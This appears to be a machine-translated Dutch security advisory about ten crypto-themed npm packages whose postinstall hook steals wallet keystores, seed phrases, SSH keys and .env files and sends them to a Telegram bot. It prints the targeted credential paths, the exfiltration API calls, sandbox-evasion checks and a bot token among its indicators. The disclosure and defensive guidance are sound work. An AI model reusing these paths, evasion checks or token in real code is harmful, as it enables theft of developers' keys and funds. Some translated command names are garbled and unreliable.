TL; DR
Op 9 juni 2026 wordt één npm-uitgeversaccount verwijderd. aicrypto-xzggg, verzonden tien pakketten met namen die doen denken aan crypto en Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9en nog zes.
Elk pakket voert dezelfde payload uit vanaf een postinstall hook. Bij de installatie controleert het of het binnen CI of in een sandbox draait. Zo niet, dan leest het de keystores van de wallet, seed-phrase-bestanden, SSH-sleutels en .env verzamelt bestanden uit zes verschillende blockchain-ecosystemen en stuurt deze door naar een Telegram-bot.
De enige indicator waar een verdediger direct naar kan zoeken, is de Telegram-bot-ID. 8227918239.
ernst: kritisch — directe diefstal van ondertekeningssleutels en herstelzinnen van ontwikkelaarswerkstations.
De aanval: hoe werkt het?
De pakketten presenteren zichzelf als hulpprogramma's voor blockchain-ontwikkelaars. package.json is minimaal en verwijst de installatiecyclus naar een script:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js is een eenregelige tussenlaag die de werkelijke lading laadt: require(“../src/index.js”). Omdat na installatie wordt automatisch uitgevoerd tijdens npm installerenEr is geen code-import door de ontwikkelaar vereist; het plaatsen van het pakket in de afhankelijkheidsstructuur is voldoende om het uit te voeren.
De dodelijke keten binnenin bron/index.js bestaat uit vier stappen:
- Omgevingscontrole. Een controlefunctie bepaalt of de host zich gedraagt als een build-agent of een analyse-sandbox.
- Uitstellen. De uitvoering wordt uitgesteld achter een setTime-out van ongeveer 7.4 seconden.
- Verzameling. Een vaste lijst met bestandspaden voor wallets, sleutels en geheime bestanden wordt doorlopen; bestaande bestanden worden in een wachtrij geplaatst.
- Exfiltratie. In de wachtrij geplaatste bestanden worden naar een Telegram-bot gestuurd, voorafgegaan door een samenvattend bericht.
De lijst met doelcollecties omvat zes ketens plus algemene ontwikkelaarsgeheimen. Ingekort:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local In totaal eenentwintig paden. Directory-items zoals ~/.ethereum/keystore worden uitgepakt en elk bestand daarin wordt in de wachtrij geplaatst. De data-exfiltratie maakt rechtstreeks gebruik van de Telegram Bot API — een sendMessage een oproep met een host en een bestandsoverzicht, vervolgens een document verzenden Uploaden in meerdere delen voor elk bestand:
tekst
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Het samenvattende bericht dat de code genereert, begint met de letterlijke tekenreeks CRYPTO STEALERgevolgd door de hostnaam, gebruikersnaam, naam van het oorspronkelijke pakket, aantal bestanden en tijdstempel.
Wat is hier nieuw?
Het verschil zit hem niet in het diefstalmechanisme — Telegram-gebaseerde data-exfiltratie van npm. na installatie hooks is een veelbewandelde route. Het is de executiepoort. Voordat er iets gebeurt, roept de payload een functie aan die true retourneert wanneer de host lijkt op een CI-runner of sandbox, en vroegtijdig terugkeert wanneer dat het geval is:
tekst
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) De reguliere expressie voor de container-ID is de belangrijkste clausule: een hostnaam van 12 hexadecimale tekens is de standaardvorm die Docker toewijst aan een container. houderDe payload interpreteert "mijn hostnaam lijkt op een Docker-container" dus als een reden om inactief te blijven. In combinatie met de vertraging van zeven seconden is het ontwerp erop gericht om op het echte werkstation van een ontwikkelaar te draaien en stil te blijven op plekken die op geautomatiseerde analyses lijken. Deze poort onderdrukte signalen van dynamische analyses en zorgde ervoor dat de statische data-exfiltratie als primair bewijsmateriaal diende.
Timeline
| Datum (UTC) | Evenementen |
|---|---|
| 2026-06-09 ~02:48 | Eerste pakketten in het cluster gemarkeerd bij publicatie (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Leden met een hogere versie hebben dit aangegeven (ethereum-kit-9 bij 1.25.36, wallet-sdk-9 op 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Definitieve leden gemarkeerd (defi-tools-39 bij 4.26.29, swap-sdk-87 bij 4.63.78, farming-tools-12 op 4.68.54) |
| 2026-06-09 | Alle tien zijn geclassificeerd als kwaadaardig en gemeld voor verwijdering uit het register. |
Alle tien doken binnen ongeveer zeventig minuten op, consistent met één enkel, vooraf vastgelegd publicatiescript van één account.
Indicatoren van compromis
Netwerk- en gedragsindicatoren (gastheer ontdaan van giftanden):
| Indicator | Waarde |
|---|---|
| Exfil-eindpunt | api[.]telegram[.]org (Telegram Bot API) |
| Telegram bot-ID | 8227918239 |
| Bot-token | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| Telegram chat-ID | 6433587894 |
| Haak installeren | postinstall → scripts/postinstall.js → src/index.js |
| Markeerlijn | CRYPTO STEALER in het samengestelde samenvattende bericht |
| Uitgever | aicrypto-xzggg (vermelde e-mail) vipsyria88@gmail[.]com(niet geverifieerd) |
Pakketten en versies, elk met de SHA-256-hash ervan. bron/index.js payload (de payloads zijn functioneel identiek en verschillen alleen in het ingebedde pakketnaamlabel, dus elke hash is uniek):
| Pakket | Versie | SHA-256 van src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Een eenvoudige zoekopdracht: doorzoek installatielogboeken en lockfiles op een van de tien namen, en doorzoek uitgaand verkeer naar verbindingen met de Telegram Bot API vanaf build- of ontwikkelaarshosts die deze API verder niet gebruiken.
Toeschrijving en geobserveerd gedrag
Alle tien pakketten werden door één account gepubliceerd. aicrypto-xzggg, wiens opgegeven e-mailadres is vipsyria88@gmail[.]comZowel het e-mailadres als de link naar de versiebeheerdatabase zijn niet geverifieerd in de registermetadata, en het account heeft een zeer negatieve reputatiescore. We hebben niet kunnen vaststellen wie het account beheert.
Twee details verdienen het om losgekoppeld te worden van elke identiteitsclaim. Ten eerste, de package.json auteur veldlezingen Alex Smith op elk pakket, terwijl het daadwerkelijke publicatieaccount is aicrypto-xzgggHet auteursveld is zelfverklaarde metadata en bewijst geen auteurschap. Ten tweede lopen de versienummers sterk uiteen — sommige leden bevinden zich op 1.0.0, anderen bij 4.68.54 — wat consistent is met het hergebruiken van één enkele payload voor nieuwe pakketnamen in plaats van het bijhouden van een echte releasegeschiedenis.
Het gedrag is uniform binnen het cluster: dezelfde lijst met doelpaden, dezelfde Telegram-bot-ID en chat-ID, dezelfde omgevingsgateway, hetzelfde CRYPTO STEALER marker. Die uniformiteit is de sterkste schakel tussen de pakketten. Het is een signaal van dezelfde operator, geen identiteit.
Impact, trends en richtlijnen voor verdedigers
Het risico is concreet. Een ontwikkelaar die een van deze pakketten installeert op een werkstation met een softwarewallet, een seed-phrase-bestand of een SSH-sleutel, ziet deze bestanden binnen enkele seconden uitgelezen en van de host verzonden worden. Herstelzinnen en ondertekeningssleutels verlopen niet zoals een sessietoken; zodra een mnemonic.txt of een Solana id.json Als de machine wordt verlaten, lopen de daarin beheerde fondsen risico totdat ze worden overgeplaatst. Dezelfde run legt ook vast... .env bestanden die doorgaans API-sleutels en databasegegevens bevatten.
Twee trends liggen ten grondslag aan deze cluster. De eerste is het voortdurende gebruik van crypto- en Web3-gerelateerde namen om een specifiek publiek aan te spreken: ontwikkelaars die hun wallets en keys op dezelfde machine bewaren als waarop ze dependencies installeren. De tweede is de toenemende mate waarin sandbox-ontwijking mogelijk is in installatiepayloads. Een controle die CI-omgevingsvariabelen, gebruikersnamen van runners en de structuur van een Docker-container-ID-hostnaam controleert, is een bewuste poging om zich tijdens de analyse anders te gedragen dan op een echt werkstation, en legt de lat hoger voor puur dynamische detectie.
Voor verdedigers:
Installeren met scripts standaard uitgeschakeld. npm install –ignore-scripts, of instellen negeer-scripts=true in .npmrc, voorkomt na installatie uitvoering; schakel scripts alleen in voor de specifieke afhankelijkheden die ze daadwerkelijk nodig hebben.
Houd wallets en ondertekeningssleutels buiten de build- en ontwikkelmachines. Gebruik een hardwarewallet of een speciale, onafhankelijke ondertekeningshost.
Traktatie .envKeystores en seed-phrase-bestanden zijn onze kroonjuwelen. Ze mogen nooit in een map staan die ook een sleutelkluis is. npm installeren werkende boom.
Zoek naar uitgaande verbindingen met de Telegram Bot API vanuit CI- en ontwikkelomgevingen. De meeste buildomgevingen maken hier geen gebruik van; een omgeving die dit plotseling wel doet, direct na een installatie, is het onderzoeken waard.
Pin en controleer afhankelijkheden. Een gloednieuw pakket met een generieke cryptografische naam, een na installatie hook, en geen enkele repositorylink rechtvaardigt een controle voordat deze in een lockfile terechtkomt.
De clausule die het omzeilen van de container-ID mogelijk maakt, dient ook als waarschuwing voor analisten: een payload die tijdens de installatie inactief blijft in een sandbox is niet onschadelijk, maar selectief. Statische controle van het installatiepad blijft de meest betrouwbare manier om te zien wat dynamische uitvoering mogelijk niet laat zien.
Referenties
npm install documentatie — lifecycle scripts en - Negeer-scripts— handleiding voor het uitschakelen van automatische installatie hooks.




